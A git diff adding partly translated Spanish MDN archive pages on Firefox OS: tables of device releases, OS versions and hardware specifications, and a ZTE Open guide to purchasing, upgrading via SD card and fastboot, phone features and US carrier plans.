+    <p><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame">Flame</a></p>
+
+    <p><em>"the reference device"</em></p>
+   </td>
+   <td>Fines de Abril, 2014</td>
+   <td>1.3</td>
+   <td> </td>
+   <td><a href="http://www.everbuying.com/product549652.html">Available to pre-order</a></td>
+  </tr>
+  <tr>
+   <td>
+    <p>Spreadtrum</p>
+
+    <p><em>tarako</em></p>
+   </td>
+   <td>Al final del Q2, 2014</td>
+   <td> </td>
+   <td>Pronto.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE Open C</a></td>
+   <td>Mayo 13, 2014</td>
+   <td>1.3</td>
+   <td>Disponible</td>
+   <td><a href="http://www.ebay.co.uk/itm/eBay-exclusive-ZTE-OPEN-C-Latest-Firefox-OS-Dual-Core-3G-Unlocked-Smartphone-/171301269724?pt=UK_Mobile_Phones&amp;hash=item27e259f0dc">Disponible en linea.</a></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/Firefox_OS/Developer_phone_guide/Symphony_GoFox_F15">Symphony GoFox F15</a></td>
+   <td>Septiembre 16, 2014</td>
+   <td>1.4</td>
+   <td>Disponible</td>
+   <td>Available through Grameenphone channels in Bangladesh only.</td>
+  </tr>
+  <tr>
+   <td>Intex Cloud Fx</td>
+   <td> </td>
+   <td>1.3 </td>
+   <td>Disponible</td>
+   <td>Disponible en <a href="http://www.snapdeal.com/product/intex-cloud-fx/1356760619?utm_source=earth_mobile&amp;utm_campaign=mobiles_new_sku&amp;utm_medium=Intex_cloud_FX&amp;utm_content=SKU">Snapdeal</a>, solo en India.</td>
+  </tr>
+  <tr>
+   <td>Spice Fire One (Mi-FX1)</td>
+   <td>
+    <div> </div>
+   </td>
+   <td>1.3</td>
+   <td>Disponible</td>
+   <td>Disponible en <a href="http://www.snapdeal.com/product/intex-cloud-fx/1356760619?utm_source=earth_mobile&amp;utm_campaign=mobiles_new_sku&amp;utm_medium=Intex_cloud_FX&amp;utm_content=SKU">Snapdeal</a>, solo en India.</td>
+  </tr>
+  <tr>
+   <td>Alcatel OneTouch FireC 4020D</td>
+   <td>Octubre 1, 2014</td>
+   <td>1.3</td>
+   <td>Disponible</td>
+   <td>Disponible en <a href="http://www.flipkart.com/mobiles/alcatel~brand/pr?p%5B%5D=facets.price_range%255B%255D%3DRs.%2B2000%2Band%2BBelow&amp;p%5B%5D=sort%3Dfeatured&amp;sid=tyy%2C4io&amp;ref=b23d5a52-3b84-4fe6-80a9-99f451be31aa#jumpTo=106|2">Filpkart</a></td>
+  </tr>
+  <tr>
+   <td>Zen Fire 105</td>
+   <td>Octubre 16, 2014</td>
+   <td>1.3</td>
+   <td>Disponible</td>
+   <td>Disponible en <a href="http://www.homeshop18.com/zen-fire-fox-phone-u105/mobiles/mobile-phones/product:32873765/cid:3027/">Homeshop18</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Versiones_de_Firefox_OS">Versiones de Firefox OS</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Version</th>
+   <th scope="col">Feature Complete (FC) date</th>
+   <th scope="col">Release To Partner<br>
+    (RTP) date</th>
+   <th scope="col">Codename</th>
+   <th scope="col">Gecko version</th>
+   <th scope="col">Included security fixes</th>
+   <th scope="col">Release notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>1.0</td>
+   <td>Diciembre 22, 2012</td>
+   <td>Febrero 21, 2013</td>
+   <td>TEF</td>
+   <td>Gecko 18</td>
+   <td>Gecko 18</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>1.0.1</td>
+   <td>Enero 15, 2013</td>
+   <td>Septiembre 6, 2013</td>
+   <td>Shira</td>
+   <td>Gecko 18</td>
+   <td>Gecko 20</td>
+   <td><a href="https://developer.mozilla.org/en-US/Firefox_OS/Releases/1.0.1">Developer</a><br>
+    <a href="https://support.mozilla.org/en-US/kb/whats-new-firefox-os-v11">Consumer</a></td>
+  </tr>
+  <tr>
+   <td>1.1</td>
+   <td>Marzo 29, 2013</td>
+   <td>Octubre 9, 2013</td>
+   <td>Leo</td>
+   <td>Gecko 18+ (new <a href="http://en.wikipedia.org/wiki/Application_programming_interface" title="Application programming interface">APIs</a>)</td>
+   <td>Gecko 23</td>
+   <td><a href="https://developer.mozilla.org/en-US/Firefox_OS/Releases/1.1">Developer</a><br>
+    <a href="http://www.mozilla.org/en-US/firefox/os/notes/1.1/">Consumer</a></td>
+  </tr>
+  <tr>
+   <td>1.1.1</td>
+   <td> </td>
+   <td>TBD</td>
+   <td>HD</td>
+   <td>Same as 1.1.0 with WVGA</td>
+   <td>Gecko 23</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>1.2</td>
+   <td>Septiembre 15, 2013</td>
+   <td>Diciembre 9, 2013</td>
+   <td>Koi</td>
+   <td>Gecko 26<sup><a href="http://en.wikipedia.org/wiki/Firefox_OS#cite_note-39"><span>[</span>39<span>]</span></a></sup></td>
+   <td>Gecko 26</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.2">Developer</a><br>
+    <a href="http://www.mozilla.org/en-US/firefox/os/notes/1.2/">Consumer</a></td>
+  </tr>
+  <tr>
+   <td>1.3</td>
+   <td>Diciembre 9, 2013</td>
+   <td>TBD</td>
+   <td> </td>
+   <td>Gecko 28</td>
+   <td>Gecko 28</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.3">Developer</a><br>
+    <a href="http://www.mozilla.org/en-US/firefox/os/notes/1.3/">Consumer</a></td>
+  </tr>
+  <tr>
+   <td>1.4</td>
+   <td>Marzo 17, 2014</td>
+   <td>TBD</td>
+   <td> </td>
+   <td>Gecko 30</td>
+   <td>Gecko 30</td>
+   <td><a href="/en-US/Firefox_OS/Releases/1.4">Developer</a><br>
+    Consumer (TBD)</td>
+  </tr>
+  <tr>
+   <td>2.0</td>
+   <td>TBD</td>
+   <td>TBD</td>
+   <td> </td>
+   <td>Gecko 32</td>
+   <td>Gecko 32</td>
+   <td><a href="/en-US/Firefox_OS/Releases/2.0">Developer</a><br>
+    Consumer (TBD)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones_de_dispositivos">Especificaciones de dispositivos</h2>
+
+<p>Nota hay algunos casos donde hay un upcoming device que no ha sido anunciado pero podemos compartir el nobre del codigo and (some of) the capabilities of the device.  DO NOT put extra info down for these devices unless Andreas Gal or someone else equally able to bless the public disclosure of the information has disclosed it.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nombre</th>
+   <th scope="col">Versiones</th>
+   <th scope="col">Resolución</th>
+   <th scope="col">Pantalla (pulgadas)</th>
+   <th scope="col">CPU</th>
+   <th scope="col">Camara(s), Mpx</th>
+   <th scope="col">RAM</th>
+   <th scope="col">ROM</th>
+   <th scope="col">Storage</th>
+   <th scope="col">Battery (mAh)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>Alcatel One Touch Fire</p>
+
+    <p><em>hamachi, buri</em></p>
+   </td>
+   <td>v1.0.1/v1.1</td>
+   <td>
+    <p>320 x 480<br>
+     PX=1</p>
+   </td>
+   <td>3.5</td>
+   <td>Qualcomm Snapdragon S1 MSM7227A 1 GHz</td>
+   <td>Rear: 3.2</td>
+   <td>256MB</td>
+   <td>512MB</td>
+   <td>/data: probably the same as inari; <a href="http://www.alcatelonetouch.com/global-en/products/smartphones/one_touch_fire.html#.Unyg5UOVt1M">specs say</a> 160MB "end user memory"<br>
+    Probably no built-in DeviceStorage, MicroSD card (up to 32GB) required<br>
+     </td>
+   <td>1400</td>
+  </tr>
+  <tr>
+   <td>Alcatel One Touch Fire E</td>
+   <td>v1.3.0</td>
+   <td>540 x 960</td>
+   <td>4.5</td>
+   <td>
+    <p>Qualcomm Snapdragon 200<br>
+     MSM8210<br>
+     1.2 GHz<br>
+     dual-core<br>
+      </p>
+   </td>
+   <td>Rear: 5</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td> </td>
+   <td>1700</td>
+  </tr>
+  <tr>
+   <td>
+    <p>ZTE Open / variants</p>
+
+    <p><em>ikura</em></p>
+   </td>
+   <td>v1.0.1 (as shipped)</td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>3.5</td>
+   <td>Qualcomm Snapdragon S1 MSM7225A 800 MHz</td>
+   <td>Rear: 3.2</td>
+   <td>256MB</td>
+   <td>512MB</td>
+   <td>
+    <p>/data: 152M<br>
+     No built-in DeviceStorage, MicroSD card required</p>
+   </td>
+   <td>1200</td>
+  </tr>
+  <tr>
+   <td>
+    <p>LG Fireweb</p>
+
+    <p><em>leo</em></p>
+   </td>
+   <td>v1.1</td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>4</td>
+   <td>Qualcomm  Snapdragon S1 MSM7227A 1 GHz</td>
+   <td>Rear: 5</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 1007.90M<br>
+     built-in DeviceStorage: yes, size unsure. possibly 3.7G, but that might be bad math.  (On an unhapy device /sys/devices/platform/msm_sdcc.3/mmc_host/mmc0/mmc0:0001/block/mmcblk0/block is 7733248, and then assuming a 512 byte block size, we get 3.7G)</p>
+   </td>
+   <td>1540</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Keon</a></p>
+
+    <p><em>keon</em></p>
+   </td>
+   <td>
+    <p>v1.0.1 - nightly<br>
+     <a href="/en-US/docs/">downloads here</a></p>
+   </td>
+   <td>320 x 480<br>
+    PX=1</td>
+   <td>3.5</td>
+   <td>Qualcomm Snapdragon S1 7225AB 1 GHz</td>
+   <td>Rear: 3</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 1.5G<br>
+     built-in DeviceStorage: 1023.4M</p>
+   </td>
+   <td>1580</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Geeksphone Peak</a></p>
+
+    <p><em>peak</em></p>
+   </td>
+   <td>v1.0.1 - nightly<br>
+    <a href="/en-US/docs/">downloads here</a></td>
+   <td>540 x 960<br>
+    PX=1.5</td>
+   <td>4.3</td>
+   <td>Qualcomm Snapdragon S4 8225 1.2 GHz dual-core</td>
+   <td>
+    <p>Front: 2<br>
+     Rear: 8</p>
+   </td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>/data: 1.5G<br>
+    built-in DeviceStorage: 1023.4M</td>
+   <td>1800</td>
+  </tr>
+  <tr>
+   <td>Geeksphone Revolution</td>
+   <td>v1.3pre (as shipped)</td>
+   <td>540 x 960 PX=1.5</td>
+   <td>4.7</td>
+   <td><span class="mini-text">Dual-core Intel® Atom™ processor Z2560<span class="mini-text"> with up to 1.6GHz</span></span></td>
+   <td>
+    <p>Front: 1.3 Rear: 8</p>
+   </td>
+   <td>1GB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 2G<br>
+     built-in DeviceStorage: 2.5GB</p>
+   </td>
+   <td>2000</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Nexus 4</p>
+
+    <p><em>nexus-4</em></p>
+   </td>
+   <td>v1.3 - nightly</td>
+   <td>768 x 1280<br>
+    720p</td>
+   <td>4.7</td>
+   <td>
+    <p>Qualcomm<br>
+     <span class="mw-redirect">Snapdragon S4 Pro</span><br>
+     1.5 GHz quad-core</p>
+   </td>
+   <td>Rear: 8</td>
+   <td>2GB</td>
+   <td>8 or 16GB</td>
+   <td>everything exists in one big soup, there is no external (MicroSD) storage.  The size of the soup varies based on what model Nexus 4 you got.</td>
+   <td>2100</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/FirefoxOS/TCP">Foxconn InFocus</a></p>
+
+    <p><em>flatfish</em></p>
+   </td>
+   <td> </td>
+   <td>1280 x 800</td>
+   <td>10</td>
+   <td>Allwinner A31, Cortex A7 Quad-Core 1.0 GHz</td>
+   <td>
+    <p>Front: 2<br>
+     Rear: 5</p>
+   </td>
+   <td>2GB</td>
+   <td>16GB</td>
+   <td> </td>
+   <td>7000</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/Platform/2013-11-05">some phone thing</a></p>
+
+    <p><em>fugu</em></p>
+   </td>
+   <td>v1.2f (branch) <a href="https://groups.google.com/d/msg/mozilla.dev.b2g/JKAu9UNjBf8/9zj5Y3m6518J">per</a></td>
+   <td>320 x 480</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>256MB</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://wiki.mozilla.org/FirefoxOS/Tarako">Spreadtrum SC6821</a></p>
+
+    <p><em>tarako</em></p>
+   </td>
+   <td>v1.3 <a href="https://wiki.mozilla.org/FirefoxOS/Tarako">per</a></td>
+   <td>HVGA<br>
+    320 x 480</td>
+   <td>3.5</td>
+   <td>Spreadtrum SC6821, Cortex A5 1GHz</td>
+   <td>0.3 (rear only?)</td>
+   <td>128MB (zram)</td>
+   <td>2GB NAND flash (external) + 1GB LPDDR1 (embedded)</td>
+   <td>32GB micro SD card</td>
+   <td>1100</td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://hacks.mozilla.org/2014/02/open-applications-tcp/">VIA Vixen</a></p>
+
+    <p><em><a href="https://wiki.mozilla.org/Platform/2014-03-18">community-driven customization of flatfish</a>?</em></p>
+   </td>
+   <td> </td>
+   <td>1024 x 600</td>
+   <td>7</td>
+   <td>Cortex-A9 Dual Core 1.2 GHz</td>
+   <td>
+    <p>Front: 0.3 Rear: 2<br>
+      </p>
+   </td>
+   <td>1GB</td>
+   <td>8GB</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    <p><a href="https://blog.mozilla.org/press/2014/02/developer-momentum-2/">Flame</a></p>
+
+    <p><em>"the reference device"</em></p>
+   </td>
+   <td>v1.3</td>
+   <td>
+    <p>FWVGA<br>
+     854 × 480<br>
+     PX=1.5<br>
+      </p>
+   </td>
+   <td>4.5 capacitive touch</td>
+   <td>
+    <p>Qualcomm Snapdragon 200 MSM8210, 1.2GHZ Dual core processor</p>
+   </td>
+   <td>Front: 2<br>
+    Rear: 5 auto focus with flash</td>
+   <td>256MB–1GB (adjustable by developer)</td>
+   <td>8GB</td>
+   <td>32GB micro SD card (USB 2.0)</td>
+   <td>1800</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE Open C</a></td>
+   <td>v1.3</td>
+   <td>
+    <p>800 x 480 PX=1.5</p>
+   </td>
+   <td>4</td>
+   <td>Qualcomm Snapdragon 200 MSM8210, 1.2GHZ Dual core processor</td>
+   <td>Rear: 3</td>
+   <td>512MB</td>
+   <td>4GB</td>
+   <td>
+    <p>/data: 1G</p>
+   </td>
+   <td>1400</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/Firefox_OS/Developer_phone_guide/Symphony_GoFox_F15">Symphony GoFox F15</a></td>
+   <td>
+    <p>v1.4</p>
+   </td>
+   <td>320 x 480<br>
+    PX=?</td>
+   <td>3.5</td>
+   <td>Spreadtrum 1 GHz Single Core Processor</td>
+   <td>
+    <p>Front: 0.3<br>
+     Rear: 3.2 with Flash</p>
+   </td>
+   <td>512MB</td>
+   <td>512MB</td>
+   <td> </td>
+   <td>1450</td>
+  </tr>
+  <tr>
+   <td>Intex Cloud Fx</td>
+   <td>V 1.3</td>
+   <td>320 x 480</td>
+   <td>3.5</td>
+   <td>Spreadtrum 1 GHz</td>
+   <td><br>
+    Rear: 2.0 without Flash</td>
+   <td>128 MB</td>
+   <td>256 MB</td>
+   <td>
+    <p>Data : 2G</p>
+
+    <p>Internal Storage: 46 MB(User Memory)</p>
+
+    <p>External -Micro SD Card : Upto 4GB Expanable</p>
+   </td>
+   <td>1250</td>
+  </tr>
+  <tr>
+   <td>Spice Fire One (Mi-FX1)</td>
+   <td>V 1.3</td>
+   <td>320 x 480</td>
+   <td>3.5</td>
+   <td>Spreadtrum 1 GHz</td>
+   <td>
+    <p>Front :VGA</p>
+
+    <p>Rear 1.3</p>
+   </td>
+   <td>128 MB</td>
+   <td>512 MB</td>
+   <td>
+    <p>Data : 2G</p>
+
+    <p>Internal Storage: 67.9 MB(User Memory)</p>
+
+    <p>External -Micro SD Card: Upto 4GB Expanable</p>
+   </td>
+   <td>1400</td>
+  </tr>
+  <tr>
+   <td>Alcatel OneTouch FireC 4020D</td>
+   <td>V 1.3</td>
+   <td>320 x 480</td>
+   <td>3.5</td>
+   <td>Spreadtrum 1 GHz</td>
+   <td> </td>
+   <td>128 MB</td>
+   <td>256 MB</td>
+   <td>
+    <p>Data : 2G</p>
+
+    <p>Internal Storage : 65 MB(User Memory)</p>
+
+    <p>External -Micro SD Card: Upto 32GB Expanable</p>
+   </td>
+   <td>1000</td>
+  </tr>
+  <tr>
+   <td>Zen Fire 105</td>
+   <td>V 1.3</td>
+   <td>320 x 480</td>
+   <td>3.5</td>
+   <td>Spreadtrum 1GHz</td>
+   <td>
+    <p>Front :VGA</p>
+    Rear 2 MP</td>
+   <td>128 MB</td>
+   <td>256 MB</td>
+   <td>
+    <p>Data : 2G</p>
+
+    <p>External -Micro SD Card: Upto 16GB Expanable</p>
+   </td>
+   <td>1200</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Column explanations:</p>
+
+<ul>
+ <li>Resolusion:
+  <ul>
+   <li>horizontal x vertical</li>
+   <li>PX=1, PX=1.5, or PX=2 is the GAIA_DEV_PIXELS_PER_PX setting that should be used for the device</li>
+  </ul>
+ </li>
+ <li>Storage:
+  <ul>
+   <li>"/data" is the internal storage.  This is where IndexedDB and other stuff lives.  Storage is segregated on a per-app basis and is not USB storage accessible.  Data is potentially accessible via adb depending on privileges.</li>
+   <li>DeviceStorage are the places where the <a href="/en-US/docs/WebAPI/Device_Storage">DeviceStorage API</a> can store things.  Some devices may have internal storage (ex: leo), some devices may have external storage on MicroSD cards, some devices may support both (ex: leo).  This storage is potentially accessible by all apps as well as the user via USB.</li>
+   <li>Values that don't look nice and round are as reported by "adb shell df" in the "size" column.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/archive/b2g_os/phone_guide/zte_open/index.html b/files/es/archive/b2g_os/phone_guide/zte_open/index.html
new file mode 100644
index 0000000000..f5ae618098
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/zte_open/index.html
@@ -0,0 +1,287 @@
+---
+title: The Firefox OS ZTE OPEN
+slug: Archive/B2G_OS/Phone_guide/ZTE_OPEN
+translation_of: Archive/B2G_OS/Phone_guide/ZTE_OPEN
+---
+<div class="summary">
+<h4 id="Mozilla_is_partnered_with_ZTE._This_partnership_helped_to_create_the_ZTE_OPEN_a_powerful_Firefox_OS-based_device_aimed_at_developers_and_early_adopters_worldwide._They_are_unlocked_and_open_for_testing_and_experimentation.">Mozilla is partnered with ZTE. This partnership helped to create the ZTE OPEN, a powerful Firefox OS-based device aimed at developers and early adopters worldwide. They are unlocked and open for testing and experimentation.</h4>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The instructions are <strong>not</strong> valid for the ZTE Open C device. If you have a ZTE Open C device you should go to our <a href="/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE Open C</a> page instead.</p>
+</div>
+
+<h2 id="Purchasing_a_device">Purchasing a device</h2>
+
+<p>These devices are available through ZTE's US and UK eBay stores, and a separate Hong Kong page aimed at Asian and Oceanian customers who don't want to pay high postage costs. They are priced at $79.99/£59.99.</p>
+
+<ul>
+ <li><a href="http://stores.ebay.com/ztemobileuk">Buy from UK eBay store</a></li>
+ <li><a href="http://stores.ebay.com/zteauthorizedstoreus/">Buy from US eBay store</a></li>
+ <li><a href="http://www.ebay.com/itm/331031989534">Buy from Hong Kong page</a></li>
+</ul>
+
+<h2 id="Upgrading_Firefox_OS">Upgrading Firefox OS</h2>
+
+<p>This section provides instructions for upgrading Firefox OS on your ZTE OPEN device.</p>
+
+<h3 id="General">General</h3>
+
+<p>In general, Firefox OS builds, updates and testing are done by connecting your phone to a computer using a USB cable, and using ADB (Android Debugging Bridge) and Fastboot to join the devices together and issue commands. You'll therefore need to install ADB and fastboot from the <a href="http://developer.android.com/sdk/index.html" title="Android Developer Tookit">Android Developer Toolkit</a> on your desktop machine. It is not necessary to install the entire toolkit. adb and fastboot are found in the <code>/platform-tools/</code> folder.</p>
+
+<p>Next, you need to go to your phone and <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">enable remote debugging</a>.</p>
+
+<h3 id="Firefox_OS_1.1">Firefox OS 1.1</h3>
+
+<p>On 10th December 2013: ZTE released a Firefox OS 1.1 upgrade for the ZTE OPEN. <strong>This now has fastboot enabled</strong>, which was caused the problems with the previous published builds.</p>
+
+<p>At this point, it's best to first upgrade your phone to version 1.1, even if you wanted to go to version 1.2. To do this, download the 1.1 package that corresponds to your phone (<a href="http://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html">OPEN (American Standard)</a> or <a href="http://www.ztedevices.com/support/smart_phone/cba40ed6-d3ab-44c0-bdee-3a15803dc187.html">OPEN (European Standard)</a>).  Note that you need to download the version with your OS revision in it (that is, download the "V1.1.0B02(for V1.0)" if you are upgrading <em>from</em> V1.0). The zip file you’ll download will also contain documentation for the upgrade.  Unzip it and copy the firmware ZIP (inside the downloaded zip) as described below.</p>
+
+<div class="note">
+<p><strong>Note</strong>: User data will be wiped by the SD package installation. You should <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">backup your data</a> before starting.</p>
+</div>
+
+<p>Now follow these steps:</p>
+
+<ol>
+ <li>Power off your phone, remove the battery to access the microSD card and extract the card from its holder.</li>
+ <li>Connect the microSD card to your desktop machine.</li>
+ <li>Move <strong>US_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip</strong> or <strong>EU_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip</strong> (depending on the version you downloaded) to the root directory of your microSD card. Do NOT unzip the file.</li>
+ <li>Disconnect the microSD card from your desktop computer and return it to your phone.</li>
+ <li>Hold the volume up button and power key down simultaneously. Volume up is activated by pressing the upper part of the long key on the left side of the phone. If you did it properly, you’ll enter the Firefox OS recovery mode. (Note: the Firefox OS logo may display briefly before you enter the recovery mode; sometimes this can take a little while.)</li>
+ <li>Use the volume up/down key to move from one item to the other in the menu, and choose “<strong>apply update from external storage</strong>.”</li>
+ <li>Press the power key to confirm the selection. You’ll see a new screen listing the files you have on the microSD card.</li>
+ <li>Again use volume up/down key to select the firmware: either <strong>US_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip</strong> or <strong>EU_DEV_FFOS_V1.1.0B04_UNFUS_SD.zip</strong> (depending on the version you downloaded), and press the power key to confirm.</li>
+</ol>
+
+<p>If everything went well, you’ll see a sequence of status messages, culminating with one that says, <em>“<strong>Install from sdcard complete</strong>.”</em>. You’ll need to select “reboot system now” after the installation has completed. Your phone will then reboot, and you’ll see the configuration screen you saw the first time you powered on the phone.</p>
+
+<h3 id="Firefox_OS_1.2">Firefox OS 1.2</h3>
+
+<p>In January 2014, ZTE released a beta version of Firefox OS 1.2 (fastboot enabled, with root access). It is basically version 1.1 baseline + version 1.2 Gecko and Gaia, and doesn't require the build to be put on the phone's SD Card.</p>
+
+<p>With 1.1 installed as described above, open a terminal and check that the connection is made with the following command:</p>
+
+<pre class="brush: bash">adb devices -l
+</pre>
+
+<p>You should see your device as something like, "roamer2    device usb:2-1.2", in response.</p>
+
+<p>Download the appropriate version of the build from the Dropbox account ZTE has set up: <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/32KXfFmedN/P752D04_DEV_US_20131212_v1.2.7z" title="Firefox OS 1.2 build for ZTE Open US">US version</a> or <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/_twgXEkMFH/P752D04_DEV_EU_20131212_v1.2.7z" title="Firefox OS 1.2 build for ZTE Open UK">UK version</a>. For Windows users, you can also <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/6ZoJwmlRjn/Installation%20Instruction.docx" title="Special upgrade instructions for Windows users">download special instructions</a>, and <a href="https://www.dropbox.com/sh/rnj3rja7gd54s98/-fyi2XHFPG/upgrade_tool" title="Upgrade tool">an upgrade tool</a> to help you to install the new version easily. The steps below however will work on <strong>all operating systems</strong> – Linux, OS X, and Windows – without relying on the special tool.</p>
+
+<p>Once you have the file, extract the contents, and open a console. Note that those steps will erase your personal data, so be sure to make a (<a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">backup</a>) first. Then navigate to the folder where the files are. Still in the console, type this command:</p>
+
+<pre class="brush: bash">adb reboot bootloader</pre>
+
+<p>While the phone is rebooting, execute the following command. (Fastboot only works inside a reboot):</p>
+
+<pre class="brush: bash">sudo fastboot devices
+</pre>
+
+<p>If you see, "&lt; waiting for device &gt;", hit Ctrl-C and retry the command until you see something like, "ROAMER2    fastboot", in response.</p>
+
+<p>Then, quickly execute the following commands while it is still rebooting:</p>
+
+<pre class="brush: bash">fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot flash recovery recovery.img
+fastboot erase cache
+fastboot reboot</pre>
+
+<div class="note">
+<p><strong>Note</strong>: If you keep encountering "waiting device" message. Try add <strong>sudo</strong> before the commands, like "sudo fastboot flash boot boot.img".</p>
+</div>
+
+<p>(The reboot completed before I was done entering all the commands as I was distracted. I simply restarted from the, "adb reboot bootloader".)</p>
+
+<p>If everything went well, your phone should reboot at this point. You’ll find that this version of 1.2 from ZTE includes many test applications, which you can remove if you like.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://hacks.mozilla.org/2014/01/upgrading-your-zte-open-to-firefox-1-1-or-1-2-fastboot-enabled/">Upgrading your ZTE Open to Firefox 1.1 or 1.2 (fastboot enabled)</a> by <span class="url">Frédéric Harper</span> also provides a useful breakdown of the install process.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: There is a bug in ZTE's 1.2 build for the Open, whereby the notification tray won't pull down/open. This can be fixed by flashing the latest engineering version Firefox OS 1.2 to your phone. Make sure you have <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB installed</a> and <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">remote debugging</a> turned on, then run the following commands in your terminal:<br>
+ <br>
+ <code>git clone -b v1.2 <a href="https://github.com/mozilla-b2g/gaia.git" rel="nofollow">https://github.com/mozilla-b2g/gaia.git</a> gaia_v1.2<br>
+ cd gaia_v1.2<br>
+ make reset-gaia</code></p>
+</div>
+
+<h3 id="Firefox_OS_1.3_and_beyond">Firefox OS 1.3 and beyond</h3>
+
+<p>ZTE currently haven't released builds for Firefox OS 1.3 and beyond. To get these on your ZTE open you'll have to manually <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">build and install a new Firefox OS/B2G</a> build on it (start at the <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">build prerequisite</a> instructions, and treat the ZTE like it is an Inari device, for the purposes of configuration). You can recover your phone if necessary, using the procedure cited in the <a href="#I_bricked_my_phone">I bricked my phone</a> section.</p>
+
+<h2 id="Phone_features">Phone features</h2>
+
+<ul>
+ <li>CPU Qualcomm MSM7225A 1.0Ghz</li>
+ <li>UMTS 850/1900 or UMTS900/2100</li>
+ <li>GSM 850/900/1800/1900 (2G EDGE)</li>
+ <li>Screen 3.5" HVGA</li>
+ <li>Camera 2 MP (back)</li>
+ <li>256 MB (RAM)</li>
+ <li>MicroSD (support up to 32GB)</li>
+ <li>Battery 1200 mAh</li>
+ <li>Wifi b, g, n, Bluetooth 2.1 EDR</li>
+ <li>Light &amp; Prox. Sensor, G-Sensor</li>
+ <li>Radio FM, GPS</li>
+ <li>MicroUSB</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: the Hong Kong phones also support tri-band 3G Networks — HSDPA 850/1900/2100 (850/1900 for US, CA, 850/1900/2100 for Asia, AU, and 900/2100 for EU.)</p>
+</div>
+
+<h2 id="Wireless_carriers">Wireless carriers</h2>
+
+<div class="warning">
+<p>Pricing information is for reference only and may not be accurate. Visit the associated link for official information.</p>
+</div>
+
+<h3 id="US_carriers">US carriers</h3>
+
+<h4 id="ATT">AT&amp;T</h4>
+
+<ul>
+ <li><a href="http://www.att.com/shop/wireless.html">Website</a></li>
+ <li>Nationwide coverage for 2G EDGE and 3G</li>
+</ul>
+
+<h5 id="Sampling_of_prepaid_ATT_plans">Sampling of prepaid AT&amp;T plans</h5>
+
+<p><a href="http://www.att.com/shop/wireless/gophone.html">Prepaid GoPhone®</a>, Smartphone Plans</p>
+
+<ul>
+ <li>$25/month, $5/50MB 3G data</li>
+ <li>$60/month with 2GB data, $10/GB additional 3G data</li>
+</ul>
+
+<h4 id="Aio">Aio</h4>
+
+<ul>
+ <li><a href="http://www.aiowireless.com/home.html">Website</a></li>
+ <li><a href="#AT&amp;T">AT&amp;T</a>'s own MVNO</li>
+</ul>
+
+<h5 id="Sampling_of_prepaid_Aio_plans">Sampling of prepaid Aio plans</h5>
+
+<ul>
+ <li>Aio Smart - $55/month with 2GB 3G data, $10/GB additional 3G data</li>
